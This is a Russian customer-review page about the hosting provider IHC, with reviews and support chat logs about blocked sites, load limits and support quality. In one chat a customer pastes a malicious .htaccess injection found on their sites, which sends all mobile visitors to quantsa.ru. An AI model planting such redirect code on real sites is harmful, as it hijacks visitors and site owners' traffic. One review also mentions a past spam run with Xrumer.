Хостинг «IHC»

Нагрузку на их чахлые сервера создают даже сайты с посещалкой 3-8 человек в сутки! Впервые сталкиваюсь с таким неадекватным хостинг провайдером! Что то им не понравилось - сразу! Сразу вырубают все, все сайты которые вы у них размещаете, и ладно если вы в ближайшее время это увидите и попытаетесь их как то уговорить включить обратно, а если вы не проверяете каждый день, а к примеру заходите раз в месяц как я - неизвестно сколько сайты не работали все это время, а им наплевать, вы будите нести убытки - им наплевать. Тупо мычат в чате что сайт с 3-8 посетителями в сутки у них перегружает сервер, покупайте мол у них выделенный. Перенес сайты на в два раза более дешевый хостинг и ничего не перегружается все ОК.
Не советую вообще с ними связываться. Служба поддержки тугая напрочь и не компетентная в элементарных вопросах. Жаль что не сохранил предыдущие чаты с их службой, вот ниже только последнее мое общение с ними.

Вы в чате с Alexandr Koval (Консультации)

Alexandr Koval: Здравствуйте. Чем я могу Вам помочь?
a114669: Здравствуйте! Почему не работают мои сайты?
Alexandr Koval: уточните, пожалуйста, о каких сайтах идет речь
a114669: о всех которые размещаю я у вас, например nabolelo.in.ua
Alexandr Koval: согласно проверке http://support.ihc.ru/sitecheck/index.ph... ваш домен направлен на разные NS поэтому он не работает.
a114669: объясните русским языком! домен и хостинг покупаю у вас, все настройки по стыковке сайта и домена помогала ваша служба поддержки, что не так?
a114669: зачем выключать ВСЕ сайты? что за отношение к заказчикам я не понимаю? кто оплатит убытки пока сайты не работают?
a114669: не нравиться как ваша служба поддержки настроила домен - я тут при чем? и при чем тут все мои сайты размещенные у вас?
Alexandr Koval: ваш заказ был заблокирован за Превышение лимитов mysql: статистику нагрузки Вы можете посмотреть в панели управления https://my.ihc.ru/cpanelOrder/index/2288...
a114669: включите обратно, я скопирую свои ресурсы и больше не хочу иметь с вашим сервисом никаких дел. В нормальных компаниях 10 раз предупредят, 10 раз позвонят и уточнят у клиента, а не обрубают сразу все сайты. Бред! Впервые сталкиваюсь с подобным.
Alexandr Koval: для разблокировки заказа создайте письменную заявку, через панель управления: https://my.ihc.ru/support/ticket на ваш почтовый ящик было отправлено более 10 уведомлени1 о превышении нагрузки https://support.ihc.ru/scr/z9z2f.png
a114669: ящик проверяю раз в пол года! как нужны деньги - так сообщения на телефон приходят - сразу оплачивал! как проблемы какие то - сообщение отправить никто не додумался, спасибо, сервис отвратительный как мне и говорили, зря полез, надо было слушать умных людей, а не наступать на те же грабли
Alexandr Koval: Уточните, пожалуйста, могу ли я Вам еще чем-то помочь?
a114669: не проблема ведь арендовать выделенный сервер у вас же и оплатил бы эту услугу если бы ваши специалисты додумались бы отправить соответствующую смс на телефон и объяснили бы суть проблемы, как это делают когда надо оплатить услугу. Так вы растеряете клиентов, во всяком случае со своей стороны я дам самые наихудшие рекомендации тем людям, которых я к вам привел. Никогда еще не сталкивался с идеотизмом что бы без согласования с заказчиком обрубали обслуживание. Я не привык что бы меня за мои же деньги посылали на ..й. Постараюсь максимально развернуто написать статьи о произошедшем в соответствующих изданиях что бы люди 100 раз подумали прежде чем связываться с вашим сервисом.
a114669: спасибо, но думаю толку от вас в данном случае нету (ничего личного)

Нам для части наших проектов подходит. Около 10 сайтов держим на данном хостинге. Сперва на одном аккаунте замечал, что большая перегрузка процессора была. Потом разобрался, отзывы на сайте благополучно заспамливали боты. Сразу не заметил, потому что когда вам передали штук 30 сайтов в управление, то где сразу заметишь нюансы. Отключил на ненужных страницах отзывы, поправил все. Теперь нагрузка 0.
Все работает быстро. Скорость работы сайтов на ihc мне всегда нравилась. Перенес часть проектов сюда от горе хостеров. Все летает. Панель простая и понятная, мне больше для маленьких проектов не нужно. Скоро открываем офис в Москве. Посещаемость одного из магазинов будет расти, посмотрим дальше на нагрузку процессора. Пока все 0.
Тех.поддержка.
Да все ок. Я тут сам ступил недавно, думал почта не приходит. А она оказывается в спам уходила. Меня не послали с данным вопросом, а проверили все и прислали отчет об уходящей почте. Это называется задуренная голова, когда на мелочах сам попадаешься.
Помню, что когда на прошлой работе работал, был выделенный сервер. И был период, когда часто атаковали сервера провайдера. Сайты ложились, но тех.поддержка быстро все восстанавливала, в течении дня все приходило в норму. Было и такое, что сайты заражались вирусами и не раз. Но тут уже нужно продумывать безопасность вашего сайта. Популярные cms часто атакуют, достается в итоге всем. Делайте бэки. Мы у себя на фирме делаем бэки почти каждый день. Поэтому ни одни интернет магазин даже после атаки не перестанет работать, восстановим быстро. Проблем еще не было, но я по этому поводу спокоен.
Мне нравится. Для разных проектов я держу несколько хостингов, ihc поставленные задачи выполняет на 5.

Ставлю - ihc.ru отличную оценку. Наше издание сотрудничает уже год и только положительные оценки. Столько раз выручали. Причем далеко за рамками предусмотренных договором. Что особенно радует, что наши партнёры ещё не разу не сказали, что это не входит в нашу компетенцию или это стоит дополнительных расходов. Отмечу скорость и профессионализм в работе. С предыдущем поставщиком провайдерских услуг это просто супер разница.
Наши подписчики, а это 50 000 человек, уже знают, ihc.ru - надежный партнёр.

Арендую у них сервер.

Отзыв: Пофигистическое отношение техподдержки к времени проведения работ и времени простоя сервера. Договариваешься на ночное время работы начинают в 8-9 утра, когда пик посещаемости (неоднократный случай). Работы начинают без согласования. Тикет "YXS-640757"

Но!
- хостинг отличный, все работает хорошо
- техподдержка отвечает быстро, консультирует, помогает

Держал у них сайт 400 ун. в сутки около года. Все было нормально. Но после того как подняли цены, начали ограничивать скачкообразно повышать нагрузку на базу данных(по их панели). Траффик на сайте стабилен а нагрузка скачкообразно увеличивается! Завалили письмами о перегрузке. До тех пор пока не отключили за "перегрузку базы данных". Любому здравомыслящему человеку понятно что это сделано умышленно! Не стал с ними разбираться, тем более что оставалось 4 дня оплаченного периода. Перезалил этот сайт на другой нормальный хостинг, с ценами ниже, чем сейчас у ihc. С тех пор ни одной жалобы на перегрузку!))

А раньше был хостинг хороший. Стабильный, надежный, недорогой. Жаль что испортил свою репутацию, таким отношением к клиентам. Не советую!

Хостинг не тестировал ни разу, а VPS периодически заказывал раньше. Все устраивало, все было хорошо. 1 раз блокировали аккаунт за спам =) (прогон хрумером сайта с указанием email с сервера) Но по звонку быстро все разблокировали не дожидаясь, пока мой IP выйдет из спам листа и поверив на слово, что больше так делать не буду =)
Тех.работы всегда делают ночью и предупреждают за 2-3 дня минимум о них.

ОЧЕНЬ в этой компании нравится тех.поддержка! Всегда молниеносно отвечают, всем помогают (смотрел через VNC, что они делают =) ) и ни разу не нагрубили.

Проблема может быть как в хостинге, так и в скриптах. Вероятность проблемы в скриптах в 100500 раз больше, чем в хостинге. Не стоит забывать, что shared хостинг более уязвим (мое субъективное мнение), нежели VPS или сервер с базовой установкой и практически без настройки. На одном из популярных российском хостинге мы в компании пользовались shared хостингом, на котором не было возможности установить CHMOD (ставишь любое значение, а скрипты и каталоги все-равно доступны для записи). Скрипты не были уязвимы (мы в это верим =))) ), а регулярный взлом был. Мы переехали на другой shared хостинг, проблема осталась. Далее арендовали виртуальную машину, купили панель управления ispmanager(нет сисадмина) и проблема ушла.

ситуция такая:

Вы в чате с Bogdan Kalmikov (Консультации)

Bogdan Kalmikov: Здравствуйте. Чем я могу Вам помочь?
a17894: RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]

RewriteRule ^(.*)$ http://quantsa.ru/?pw [L,R=302]
a17894: вот эта херня в .htaccess в течение года появляется и забирает весь мобильный трафик
a17894: пароли уже по тысяче раз менял
a17894: защиту можете поставить
Bogdan Kalmikov: Ознакомьтесь, пожалуйста, с инструкцией по web-адресу: https://support.ihc.ru/index.php?_m=know...
Bogdan Kalmikov: Защиты от взлома CMS систем у нас нет.
a17894: вам данная проблема знакома, я уже отзывы о вас почитал
a17894: в том то и дело что прошу защитить хостинг
Bogdan Kalmikov: Наша компания не предоставляет защиты от взлома CMS систем, сам хостинг не взломан. Данные записи прописываются путем именно Вашей CMS
Bogdan Kalmikov: Для решения данного вопроса обратитесь к разработчику Вашего сайта.
a17894: Вопрос: А может быть это вовсе проблема с безопасностью у Хостинга?
Ответ: На всех наших серверах установлена самая стабильная и устойчивая к взломам версия операционной системы. Если бы вирус попал на хостинг при помощи уязвимости операционной системы, то были бы поражены многие сайты. Однако этого не наблюдается – поражен только один сайт.---------------- у меня поражены ВСЕ САЙТЫ!!!
a17894: можете проверить
Bogdan Kalmikov: Имелось введу все сайты на сервере, а не на Вашем аккаунте, взломав один сайт взломщик получает доступ ко всем Вашим другим сайтам в аккаунте, поскольку все каталоги сайтов находятся в одном аккаунте.
a17894: я плачу вам 12000 в год и требую, чтобы вы решили проблему со своей стороны! ответьте
Bogdan Kalmikov: Как я писал ранее, по данному поводу Вам нужно обращаться к разработчику Вашего сайта.
Bogdan Kalmikov: С нашей стороны сервер не взломан. И проблем на самом сервере нет. Данная проблема связана именно с Вашими сайтами.
a17894: как понимаю помощи от вас не ждать?
a17894: тогда я буду менять хостера. Помощь будет от вас?
Bogdan Kalmikov: Мы не являемся программистами и не можем Вам помочь решить проблему с уязвимости Ваших сайтов. В данной ситуации может помочь либо программист либо разработчик Ваших сайтов.
a17894: или вы считаете что у вас и так много клиентов и одним больше или меньше и забьете на это?
Bogdan Kalmikov: Мы не являемся программистами и не можем Вам помочь решить проблему с уязвимости Ваших сайтов. В данной ситуации может помочь либо программист либо разработчик Ваших сайтов.
a17894: уязвимость со стороны хостера
a17894: логи посмотрите свои и поймете
Bogdan Kalmikov: Ознакомьтесь, пожалуйста, с инструкцией по web-адресу: https://support.ihc.ru/index.php?_m=know...
a17894: проблема появилась после перехода на ПРЕМИУМ
Bogdan Kalmikov: Уточните, пожалуйста, могу ли я Вам еще чем-то помочь?
a17894: тебе точно наплевать, а руководству доложить можешь?

_______________
проблема длится уже ГОД!переносить проекты около 2х недель, но что делать((

Это не первый мой сайт на этом хостинге, пользуюсь им уже четвертый год. За это время могу отметить явно улучшевшуюся техподдержку и изменение тарифных планов в худшую сторону - теперь нет недорогих тарифов без ограничений на количество сайтов. Но хорошо то, что можно продолжать пользоваться архивными тарифами - никто не заставляет переходить на новые тарифы.

Сейчас хостинг очень плохой.

Начинал с ВПС года 2 назад, потом перешел на Премиум хостинг (т.к.не хватало знаний на администрирование)

Все было замечательно, но этим летом начались жуткие тормоза.

Тех поддержка объясняет, мол у вас скрипты не оптимизированы. Но, все прекрасно работало в начале - с этими же "не оптимизированными" скриптами, сайтов ровно столько же, движки те же, трафик вообще упал в несколько раз.